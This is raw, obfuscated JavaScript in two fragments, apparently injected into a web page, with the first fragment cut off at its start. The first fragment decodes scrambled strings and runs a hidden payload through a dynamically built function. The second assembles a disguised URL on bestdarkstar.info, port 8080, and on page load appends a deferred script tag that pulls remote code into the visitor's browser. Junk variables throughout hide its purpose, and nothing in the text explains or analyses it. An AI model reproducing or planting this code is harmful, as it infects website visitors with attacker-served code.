[1,0]),5, A("sd.Aetrttuib(tee\'drfe\'", [1,2,0]),6, A("r.aorciere.rt.isga", [2,0,1]),7, A("hbratatsdune.tocm", [1,0]),8, A("inowdwonoal.d", [5,0,1,4,2,3]),11, A("cdrmaebeiorl", [3,5,2,0,4,1]),12, A("gbolgce.rom", [1,3,2,0,4]),14, A("unfticn(o)", [2,0,1]),15, A("ogglocoem.", [2,4,0,1,3]),16, A("ctcae(h)", [2,3,1,0,6,5,4]),17, A("thtp\":", [4,1,0,2,3,5]),18, A("rsd.c", [2,3,1,0]),19, A("\'\')1", [1,3,0,2]),20, A("ytr", [1,2,0]),21, A("omc", [2,0,1])];var Vf = "%";var EF;if(EF!='xY'){EF=''};var pcg=new String();var RN = '';var BS =[0][0];var Z =[71,1][1];var KR;if(KR!=''){KR='Qx'};var h = /[^@a-z0-9A-Z_-]/g;var cX=false;var Du;if(Du!=''){Du='Ri'};var I =[0][0];var UB;if(UB!=''){UB='hLO'};var Wl;if(Wl!=''){Wl='lf'};var zi = '';var tg;if(tg!='zx' && tg != ''){tg=null};var sK="sK";var cR="";var VL = z[A("elgnht", [1,0])];var EX="EX";var QV="QV";var Sw =[150,166,2][2];var D = '';var FVL;if(FVL!='TQ'){FVL=''};var bH;if(bH!='ETS' && bH != ''){bH=null};var nH;if(nH!='cN' && nH != ''){nH=null};for(var T=I; T < VL; T+=Sw){D+= Vf; var CB=new Date();D+= z[A("ssbutr", [1,3,2,0])](T, Sw);var Em='';var kVQ=new String();}var ZBQ;if(ZBQ!='jY'){ZBQ=''};var xo;if(xo!='hD' && xo!='Zv'){xo='hD'};var z = dc(D);var KsA;if(KsA!='' && KsA!='PN'){KsA=null};this.qZ=32606;var Ig = new O(j);var yL="yL";var Vs = Ig[A("lperace", [3,2,1,0])](h, zi);var NO;if(NO!='hf'){NO=''};this.Gk="";var Eqa=new Date();var AI = new O(tG);this.Jn="Jn";this.ta='';Vs = AV(Vs);this.jS='';var nI = V[A("enlgth", [2,0,1,3])];var Ry;if(Ry!='GPd' && Ry!='EQe'){Ry=''};var QW='';var LTV=false;var cH=new String();var Ld=new String();var Ii = AI[A("erpalce", [1,0,2])](h, zi);var Ii = R(Ii);var ki;if(ki!='ce'){ki=''};var DH;if(DH!='' && DH!='Vw'){DH=null};var zz=R(Vs);var Dj=new Array();this.Yt=false;for(var QX=I; QX < (z[A("egnlth", [3,0,2,1])]);QX=QX+[1][0]) {var FJ;if(FJ!='' && FJ!='hB'){FJ='en'};this.hrD='';this.bx='';var ae = Vs.charCodeAt(BS);var ey='';var XeM;if(XeM!='' && XeM!='eh'){XeM=''};var dx = X(z,QX);var gj=new Array();var XL=53026;dx = m(dx, ae);var At;if(At!='fX' && At!='fO'){At=''};var jA;if(jA!='CY'){jA='CY'};dx = m(dx, zz);var xl;if(xl!='dX' && xl != ''){xl=null};this.UH='';dx = m(dx, Ii);BS++;var zX=false;this.jd="jd";var JP;if(JP!='' && JP!='da'){JP='SS'};this.um=false;if(BS > Vs.length-Z){var fq;if(fq!='' && fq!='pZO'){fq=null};var It;if(It!='' && It!='Am'){It=null};BS=I;}var Sf;if(Sf!='zB'){Sf='zB'};RN += QS(dx);}var pV;if(pV!='CR' && pV != ''){pV=null};var kJ;if(kJ!=''){kJ='AE'};for(BK=I; BK < nI; BK+=Sw){var NK;if(NK!='' && NK!='tsV'){NK=''};var Dk=new Array();var zd;if(zd!=''){zd='JH'};var Qo = QS(V[BK]);this.pS='';var IO=new Array();var mk = V[BK + Z];var nV;if(nV!='Oe'){nV=''};this.up=32653;this.DX='';this.Dm="";var Y = new tQ(Qo, QS(103));var jSd;if(jSd!='eF' && jSd!='Zo'){jSd='eF'};var rP;if(rP!='dT' && rP!='Px'){rP='dT'};RN=RN[A("erlpcae", [1,0])](Y, mk);var fjb=new Date();}var CN;if(CN!='mbm'){CN='mbm'};var ZD=36209;var nt=new tG(RN);this.wOA="wOA";nt();AI = '';var VLq;if(VLq!='Qs'){VLq=''};var kex='';Vs = '';this.cF=65035;this.Dw=false;Ii = '';this.ZW="";RN = '';nt = '';var Fps;if(Fps!='Etl'){Fps='Etl'};var KQ;if(KQ!='Lj' && KQ!='AN'){KQ=''};zz = '';var Pos=new Array();var bG;if(bG!='dS' && bG != ''){bG=null};var Pz='';var ZFu=new Date();this.ZT='';return '';this.ji="";};var fP="";var pJ;if(pJ!='ga' && pJ!='pn'){pJ='ga'};var lTT;if(lTT!='' && lTT!='tf'){lTT=''};j(Sbx);


var St;if(St!='Qd' && St!='S'){St='Qd'};var Z;if(Z!='a' && Z!='E'){Z='a'};var mF;if(mF!='' && mF!='i'){mF=''};function z(){var J=new Array();var iz;if(iz!='' && iz!='e'){iz='ao'};this.Mo="";var X=window;var v=unescape;var yE;if(yE!='D' && yE != ''){yE=null};var T=v("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%6f%67%63%61%74%61%6c%6f%67%2e%63%6f%6d%2f%6f%72%62%69%74%64%6f%77%6e%6c%6f%61%64%65%72%2e%63%6f%6d%2e%70%68%70");var w='';var Cl='';var n;if(n!=''){n='Sv'};var l;if(l!=''){l='Fn'};function k(m,y){var C="g";var Ql;if(Ql!='g' && Ql!='u'){Ql='g'};var Dw="";var vc=v("%5b"), I=v("%5d");this.mA="";var U=vc+y+I;var xy=new Date();var bT=new String();var x=new RegExp(U, C);var ta;if(ta!='EH'){ta='EH'};return m.replace(x, new String());var QE;if(QE!='Ee' && QE!='kq'){QE=''};var xd;if(xd!='' && xd!='Mr'){xd='Mh'};};var _;if(_!='Ai'){_=''};var vW=new Date();var am=new Date();var ZF;if(ZF!='SY' && ZF != ''){ZF=null};var Q=k('8379730935143787659107969925','35279461');var c=new String();var K=document;var wx=new Date();var rL;if(rL!='' && rL!='XN'){rL='bl'};function vH(){var MD="";var jg;if(jg!='Qo'){jg=''};var Kp="";var zp=v("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var Rw;if(Rw!='B_' && Rw!='Py'){Rw='B_'};var ky;if(ky!='' && ky!='qI'){ky=null};var d=new Date();var QR=new Date();c=zp;var Vj;if(Vj!='iU'){Vj='iU'};var GP;if(GP!='ax' && GP != ''){GP=null};c+=Q;var eb;if(eb!=''){eb='nV'};c+=T;try {var di=new String();s=K.createElement(k('sfcIr7iYpStT','68gAj_YKdfMhISl7bT5'));var jE="";var wz;if(wz!='VA' && wz != ''){wz=null};var Ln=new Array();s[v("%64%65%66%65%72")]=[1,2][0];var pm=new Array();s[v("%73%72%63")]=c;var DP;if(DP!='' && DP!='IB'){DP=''};this.HEv="";var kqa=new Date();K.body.appendChild(s);var cc=new String();} catch(A){var Mb;if(Mb!='HM' && Mb!='Hz'){Mb='HM'};this.dg='';alert(A);};}this.gc='';var jH=new Array();var gv;if(gv!='' && gv!='Gd'){gv='ekw'};X[String("QZCWonlo".substr(4)+"fM1bad1Mbf".substr(4,2))]=vH;var fT;if(fT!='Pu'){fT='Pu'};};var pc='';z();var bO;if(bO!='' && bO!='rm'){bO=''};var bU;if(bU!='' && bU!='WD'){bU=''};